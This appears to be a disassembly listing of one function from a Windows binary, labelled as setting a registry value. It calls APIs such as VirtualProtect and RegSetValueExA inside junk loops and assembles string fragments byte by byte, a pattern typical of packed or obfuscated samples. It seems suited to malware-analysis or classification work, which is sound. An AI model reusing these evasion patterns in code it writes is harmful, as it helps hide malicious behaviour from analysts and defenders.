Function at 0x404970
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x569958]
xor ecx, ecx
add eax, dword [0x572990]
mov edx, dword [0x5729e8]
cmp eax, edx
push ebx
setl cl
mov dword [ebp - 4], 0x5f
mov ebx, 0x47
push esi
push edi
test edx, ecx
je 0x4049b0
cmp dword [0x569a48], edx
jge 0x4049b0
inc dword [0x569a98]
nop dword [eax]
mov eax, dword [0x56990c]
xor esi, esi
add eax, 0xfffe7939
test eax, eax
jle 0x404a02
mov edi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop word [eax + eax]
push 0x1163c
push 0x2e2e
push 0xcbde
call edi
mov ecx, dword [0x572a88]
inc esi
mov eax, dword [0x56990c]
dec ecx
add eax, 0xfffe7939
mov dword [0x572a88], ecx
add esp, 0xc
cmp esi, eax
jl 0x4049d0
jmp 0x404a08
mov ecx, dword [0x572a88]
mov edx, dword [0x569904]
inc ecx
xor esi, esi
mov byte [0x5729f8], 0xff
mov dword [0x572a88], ecx
lea eax, [edx - 0x186e7]
test eax, eax
jle 0x404a80
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
inc ecx
mov dword [0x572a88], ecx
cmp ecx, 0x63
jle 0x404a75
push 0x21da
push 0x14fc3
push 0x2726
push 0x14346
push 0x3698
push 0x15353
push 0x32ba
push 0x17fb2
call edi
mov ecx, dword [0x572a88]
add esp, 0x20
mov edx, dword [0x569904]
inc esi
lea eax, [edx - 0x186e7]
cmp esi, eax
jl 0x404a30
sub esp, 8
mov byte [0x5729fc], 0x88
mov byte [0x5729f6], 0
push 0x34
push ecx
call fcn.00401300
mov eax, dword [0x569904]
add esp, 0x10
add eax, 0xfffe7919
xor esi, esi
test eax, eax
jle 0x404ac3
mov edi, dword [sym.imp.KERNEL32.dll_AttachConsole]
call edi
mov eax, dword [0x569904]
inc esi
add eax, 0xfffe7919
cmp esi, eax
jl 0x404ab2
mov edx, dword [0x5729b8]
xor esi, esi
inc dword [0x56990c]
mov ecx, dword [0x5729e8]
mov dword [0x5729f0], 0x642e3233
lea eax, [edx - 0x186b2]
test eax, eax
jle 0x404b3e
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
inc ecx
xor eax, eax
dec ebx
mov dword [0x5729e8], ecx
cmp ecx, 5
setl al
and eax, dword [0x572990]
test ebx, eax
je 0x404b33
push 0x15d36
push 0x5218
push 0x16de6
push 0x12d60
call edi
mov ecx, dword [0x5729e8]
add esp, 0x10
inc dword [ebp - 4]
mov edx, dword [0x5729b8]
inc esi
lea eax, [edx - 0x186b2]
cmp esi, eax
jl 0x404af1
mov eax, dword [0x572994]
inc ecx
add eax, 0xffffffc2
mov byte [0x5729f4], 0x6c
mov eax, dword [0x569958]
xor esi, esi
add eax, 0xfffe7959
mov byte [0x5729ff], 0x16
mov byte [0x5729fb], 0x18
mov byte [0x5729f7], 0x94
mov byte [0x5729f5], 0x6c
mov word [0x5729fd], 0x3426
mov byte [0x5729fa], 0x51
mov dword [0x5729e8], ecx
test eax, eax
jle 0x404bd8
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
nop word [eax + eax]
push 0x148a8
push 0xea6a
push 0x172e1
push 0x8879
push 0x71b0
push 0x5be
call edi
mov eax, dword [0x569958]
inc esi
inc dword [0x5729e8]
add eax, 0xfffe7959
add esp, 0x18
cmp esi, eax
jl 0x404ba0
mov eax, dword [0x56995c]
xor esi, esi
add eax, 0xfffe7900
mov byte [0x5729f9], 0xcd
test eax, eax
jle 0x404c3c
mov edi, dword [sym.imp.SHELL32.dll_DragQueryFileA]
nop word [eax + eax]
push 0x1aca
push 0x8b8a
push 0x2b8d
push 0xe77
push 0x17cce
push 0xc3a0
push 0xb5d1
push 0x5010
call edi
mov eax, dword [0x56995c]
inc esi
add eax, 0xfffe7900
add esp, 0x20
cmp esi, eax
jl 0x404c00
pop edi
pop esi
mov eax, str.BlrkaQVixZQIDJqyCLDL
mov dword [str.BlrkaQVixZQIDJqyCLDL], 0x72657375
pop ebx
mov esp, ebp
pop ebp
ret